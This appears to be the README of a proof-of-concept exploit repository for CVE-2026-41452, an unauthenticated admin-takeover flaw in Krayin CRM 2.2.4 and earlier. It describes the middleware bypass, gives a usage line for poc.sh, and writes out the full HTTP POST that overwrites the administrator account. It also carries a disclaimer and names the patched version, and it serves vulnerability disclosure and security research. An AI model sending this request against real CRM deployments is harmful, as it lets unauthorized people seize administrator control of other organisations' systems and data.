o-sec/cve-2026-41452-pocProof-of-concept exploit for CVE-2026-41452, a critical authentication bypass in Krayin CRM <= 2.2.4 allowing unauthenticated admin account takeover via middleware bypass.
A Proof of Concept (PoC) demonstrating a critical missing authentication vulnerability (CVE-2026-41452) affecting Krayin CRM version 2.2.4 and earlier.
This flaw allows unauthenticated remote attackers to bypass the application's installation middleware logic (CanInstall) by injecting specific HTTP headers, leading to a complete overwrite of the primary administrator account configuration.
[!WARNING]
Disclaimer: This repository and the information contained herein are provided strictly for educational purposes, security research, and authorized defensive auditing. Unauthorized testing or exploitation of computer systems is strictly illegal. The author assumes no liability for any misuse of this material.
CVE ID: CVE-2026-41452
Vulnerability Type: Missing Authentication / Middleware Bypass
Severity: Critical (CVSS 9.8)
Affected Software: Krayin CRM <= 2.2.4
Patched Version: Krayin CRM >= 2.2.5
The vulnerability lies within the application's setup middleware. An unauthenticated attacker can append an X-Requested-With: XMLHttpRequest header to a crafted payload targeting the /install/api/admin-config-setup endpoint. This suppresses the expected redirection check within the CanInstall middleware, exposing an unauthenticated updateOrInsert database operation that targets the hardcoded ID (1) of the primary system administrator.
Run the script against a target instance that you are authorized to test:
./poc.sh <TARGET-URL> <USERNAME> <EMAIL> <PASSWORD>
Under the hood, the bypass triggers via the following HTTP transaction structure:
POST /install/api/admin-config-setup HTTP/1.1
Host: target-crm.local
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
name=test1&[email protected]&password=Password123